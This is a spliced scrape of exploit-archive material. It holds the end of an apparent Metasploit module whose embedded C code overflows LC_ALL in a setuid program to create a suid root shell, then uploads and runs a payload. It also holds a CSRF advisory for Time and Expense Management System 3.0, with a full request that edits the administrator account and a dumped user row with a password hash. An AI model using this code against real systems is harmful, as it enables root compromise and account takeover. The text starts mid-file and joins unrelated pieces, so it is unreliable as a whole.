        .i = 0x07faa7ea /* call *0xc(%ebp) */
    },
};

#define ROOTSHELL "#{root_shell}"
static const char shellcode[] = "#{shellcode}";

static volatile sig_atomic_t sigalarm;

static void
sigalarm_handler(const int signum __attribute__((__unused__)))
{
    sigalarm = 1;
}

#define die() do { \\
    fprintf(stderr, "died in %s: %u\\n", __func__, __LINE__); \\
    exit(EXIT_FAILURE); \\
} while (0)

static int
is_suid_root(const char * const file)
{
    if (!file) die();
    static struct stat sbuf;
    if (stat(file, &sbuf)) die();
    if (!S_ISREG(sbuf.st_mode)) die();
    return ((sbuf.st_uid == 0) && (sbuf.st_mode & S_ISUID));
}

static const char *
build_lca(const size_t l)
{
    static const size_t shellcode_len = sizeof(shellcode)-1;
    if (shellcode_len > 64) die();
    if (shellcode_len % 16) die();
    if (l < shellcode_len + target->a + target->b) die();

    #define LCA_MAX 4096
    if (l > LCA_MAX) die();
    static char lca[128 + LCA_MAX];
    strcpy(lca, "LC_ALL=");
    char * cp = memchr(lca, '\\0', sizeof(lca));
    if (!cp) die();
    memcpy(cp, shellcode, shellcode_len);
    cp += shellcode_len;
    memset(cp, 'a', target->a);

    size_t o;
    for (o = target->a; l - o >= 4; o += 4) {
        if ((o - target->a) % 16 == target->j) {
            cp[o + 0] = '\\xeb';
            cp[o + 1] = (o - target->a >= 16) ? -(16u + 2u) :
                -(shellcode_len + target->a + target->j + 2);
            cp[o + 2] = 'j';
            cp[o + 3] = 'j';
        } else {
            if (sizeof(size_t) != 4) die();
            *(size_t *)(cp + o) = target->i;
        }
    }
    cp += o;
    memset(cp, 'b', target->b);
    cp[target->b] = '\\0';
    if (strlen(lca) != 7 + shellcode_len + o + target->b) die();
    return lca;
}

static const char *
build_pad(const size_t p)
{
    #define PAD_MAX 8192
    if (p > PAD_MAX) die();
    static char pad[64 + PAD_MAX];
    strcpy(pad, "P=");
    char * const cp = memchr(pad, '\\0', sizeof(pad));
    if (!cp) die();
    memset(cp, 'p', p);
    cp[p] = '\\0';
    if (strlen(pad) != 2 + p) die();
    return pad;
}

static void
fork_worker(const size_t s, const char * const lca, const char * const pad)
{
    #define N_WORKERS #{workers.to_i}
    static size_t n_workers;
    static struct {
        pid_t pid;
        struct timeval start;
    } workers[N_WORKERS];

    size_t i_worker;
    struct timeval start, stop, diff;

    if (n_workers >= N_WORKERS) {
        if (n_workers != N_WORKERS) die();
        int is_suid_rootshell = 0;
        for (;;) {
            sigalarm = 0;
            #define TIMEOUT 10
            alarm(TIMEOUT);
            int status = 0;
            const pid_t pid = waitpid(-1, &status, WUNTRACED);
            alarm(0);
            if (gettimeofday(&stop, NULL)) die();

            if (pid <= 0) {
                if (pid != -1) die();
                if (errno != EINTR) die();
                if (sigalarm != 1) die();
            }
            int found_pid = 0;
            for (i_worker = 0; i_worker < N_WORKERS; i_worker++) {
                const pid_t worker_pid = workers[i_worker].pid;
                if (worker_pid <= 0) die();
                if (worker_pid == pid) {
                    if (found_pid) die();
                    found_pid = 1;
                    if (WIFEXITED(status) || WIFSIGNALED(status))
                        workers[i_worker].pid = 0;
                } else {
                    timersub(&stop, &workers[i_worker].start, &diff);
                    if (diff.tv_sec >= TIMEOUT)
                        if (kill(worker_pid, SIGKILL)) die();
                }
            }
            if (!found_pid) {
                if (pid != -1) die();
                continue;
            }
            if (WIFEXITED(status)) {
                if (WEXITSTATUS(status) != EXIT_FAILURE)
                    fprintf(stderr, "exited %d\\n", WEXITSTATUS(status));
                break;
            } else if (WIFSIGNALED(status)) {
                if (WTERMSIG(status) != SIGSEGV)
                    fprintf(stderr, "signal %d\\n", WTERMSIG(status));
                break;
            } else if (WIFSTOPPED(status)) {
                fprintf(stderr, "stopped %d\\n", WSTOPSIG(status));
                is_suid_rootshell |= is_suid_root(ROOTSHELL);
                if (kill(pid, SIGKILL)) die();
                continue;
            }
            fprintf(stderr, "unknown %d\\n", status);
            die();
        }
        if (is_suid_rootshell) {
            system("ls -lL " ROOTSHELL);
            exit(EXIT_SUCCESS);
        }
        n_workers--;
    }
    if (n_workers >= N_WORKERS) die();

    static char rsh_link[64];
    if (*rsh_link != '/') {
        const int rsh_fd = open(RSH, O_RDONLY);
        if (rsh_fd <= STDERR_FILENO) die();
        if ((unsigned int)snprintf(rsh_link, sizeof(rsh_link),
            "/proc/%ld/fd/%d", (long)getpid(), rsh_fd) >= sizeof(rsh_link)) die();
        if (access(rsh_link, R_OK | X_OK)) die();
        if (*rsh_link != '/') die();
    }

    static int null_fd = -1;
    if (null_fd <= -1) {
        null_fd = open("/dev/null", O_RDWR);
        if (null_fd <= -1) die();
    }

    const pid_t pid = fork();
    if (pid <= -1) die();
    if (pid == 0) {
        const struct rlimit stack = { s, s };
        if (setrlimit(RLIMIT_STACK, &stack)) die();

        if (dup2(null_fd, STDIN_FILENO) != STDIN_FILENO) die();
        if (dup2(null_fd, STDOUT_FILENO) != STDOUT_FILENO) die();
        if (dup2(null_fd, STDERR_FILENO) != STDERR_FILENO) die();

        static char * const argv[] = { rsh_link, "-?", NULL };
        char * const envp[] = { (char *)lca, (char *)pad, NULL };
        execve(*argv, argv, envp);
        die();
    }
    if (gettimeofday(&start, NULL)) die();
    for (i_worker = 0; i_worker < N_WORKERS; i_worker++) {
        const pid_t worker_pid = workers[i_worker].pid;
        if (worker_pid > 0) continue;
        if (worker_pid != 0) die();
        workers[i_worker].pid = pid;
        workers[i_worker].start = start;
        n_workers++;
        return;
    }
    die();
}

int main(const int argc, const char * const argv[])
{
    static const struct rlimit core;
    if (setrlimit(RLIMIT_CORE, &core)) die();

    if (geteuid() == 0) {
        if (is_suid_root(ROOTSHELL)) {
            if (setuid(0)) die();
            if (setgid(0)) die();
            static char * const argv[] = { "/bin/sh", NULL };
            execve(*argv, argv, NULL);
            die();
        }
        chown(*argv, 0, 0);
        chmod(*argv, 04555);
        for (;;) {
            raise(SIGSTOP);
            sleep(1);
        }
        die();
    }

    const size_t i = strtoul(argv[1], NULL, 10);
    if (i >= sizeof(targets)/sizeof(*targets)) die();
    target = targets + i;
    fprintf(stderr, "Target %zu %s\\n", i, target->name);

    if (target->a >= 16) die();
    if (target->b >= 16) die();
    if (target->i <= 0) die();
    if (target->j >= 16 || target->j % 4) {
        if (target->j != SIZE_MAX) die();
    }

    static const struct sigaction sigalarm_action = { .sa_handler = sigalarm_handler };
    if (sigaction(SIGALRM, &sigalarm_action, NULL)) die();

    size_t s;
    for (s = target->s_first; s <= target->s_last; s += target->s_step) {
        if (s % target->s_step) die();

        size_t l;
        for (l = target->l_first; l <= target->l_last; l += target->l_step) {
            if (l % target->l_step) die();
            const char * const lca = build_lca(l);
            fprintf(stdout, "s %zu l %zu\\n", s, l);

            size_t p;
            for (p = target->p_first; p <= target->p_last; p += target->p_step) {
                if (p % target->p_step) die();
                const char * const pad = build_pad(p);
                fork_worker(s, lca, pad);
            }
        }
    }
    fprintf(stdout, "Failed\\n");
}
    EOF

    exploit_name = ".#{rand_text_alphanumeric 5..15}"
    upload_and_compile "#{base_path}/#{exploit_name}", exp
    symlink "#{base_path}/#{exploit_name}", "#{base_path}/#{root_shell}"

    print_status "Creating suid root shell. This may take a while..."
    cmd_exec "cd #{base_path}"
    start = Time.now
    output = cmd_exec "./#{exploit_name} #{arg}", nil, 1_800
    stop = Time.now
    print_status "Completed in #{(stop - start).round(2)}s"
    unless output.include? 'root'
      fail_with Failure::Unknown, "Failed to create suid root shell: #{output}"
    end
    print_good "suid root shell created: #{base_path}/#{root_shell}"

    payload_name = ".#{rand_text_alphanumeric 5..10}"
    payload_path = "#{base_path}/#{payload_name}"
    upload payload_path, payload.encoded
    cmd_exec "chmod +x '#{payload_path}'"

    print_status 'Executing payload...'
    cmd_exec "echo #{payload_path} | ./#{root_shell} & echo "
  end
end
HireHackking 
# Exploit Title: Time and Expense Management System 3.0 - Cross-Site Request Forgery (Add Admin)
# Dork: N/A
# Date: 2018-10-17
# Exploit Author: Ihsan Sencan
# Vendor Homepage: http://www.initechs.com/
# Software Link: http://sourceforge.net/projects/tems/files/latest
# Version: 3.0
# Category: Webapps
# Tested on: WiN7_x64/KaLiLinuX_x64
# CVE: N/A
# Description
# Normal member has all rights.

# POC: 
# 1)
# #Add,edit,delete admin+all users...
# http://localhost/[PATH]/index.php?action=ListUser
# http://localhost/[PATH]/index.php?action=BrowseUser&uid=1
# Etc..

#Update admin..
POST /[PATH]/core/controller/UpdateBORequest.php HTTP/1.1
Host: TARGET
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:45.0) Gecko/20100101 Firefox/45.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Cookie: PHPSESSID=3i34gub8ub4dk3jhjthinlv922
Connection: keep-alive
Content-Type: application/x-www-form-urlencoded
Content-Length: 227
action=EditUser&uid=1&fullname=Administrator_Edit&email=admin@admin.com&title=Administrator_Edit&joindate=10%2F17%2F2018&reportto=admin&usergroup=&language=ENG&dateformat=MDY&status=10&debuglevel=3&dbtracelevel=0&preview_receipt=1
HTTP/1.1 200 OK
Date: Wed, 17 Oct 2018 00:46:35 GMT
Server: Apache/2.4.25 (Win32) OpenSSL/1.0.2j PHP/5.6.30
X-Powered-By: PHP/5.6.30
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Content-Length: 10
Keep-Alive: timeout=5, max=100
Connection: Keep-Alive
Content-Type: text/html; charset=UTF-8

# /* `exploitdb`.`users` */
# $users = array(
#   array('uid' => '1','users_id' => 'admin','fullname' => 'Administrator_Edit','password' => '5ebf8364d17c8df7e4afd586c24f84a0','email' => 'admin@admin.com','joindate' => '2018-10-17','reportto' => 'admin','title' => 'Administrator_Edit','status' => '10','authorizations_id' => '1','usergroup' => '','dateformat' => 'MDY','language' => 'ENG','u_menu_id' => '1','lastloginat' => '2018-10-17 00:46:50','access_count' => '4','debuglevel' => '3','dbtracelevel' => '0','preview_receipt' => '1','createat' => '2018-10-17 00:26:09','createby' => '*SYSTEM','changeat' => '2018-10-17 00:47:42','changeby' => 'efe')
# );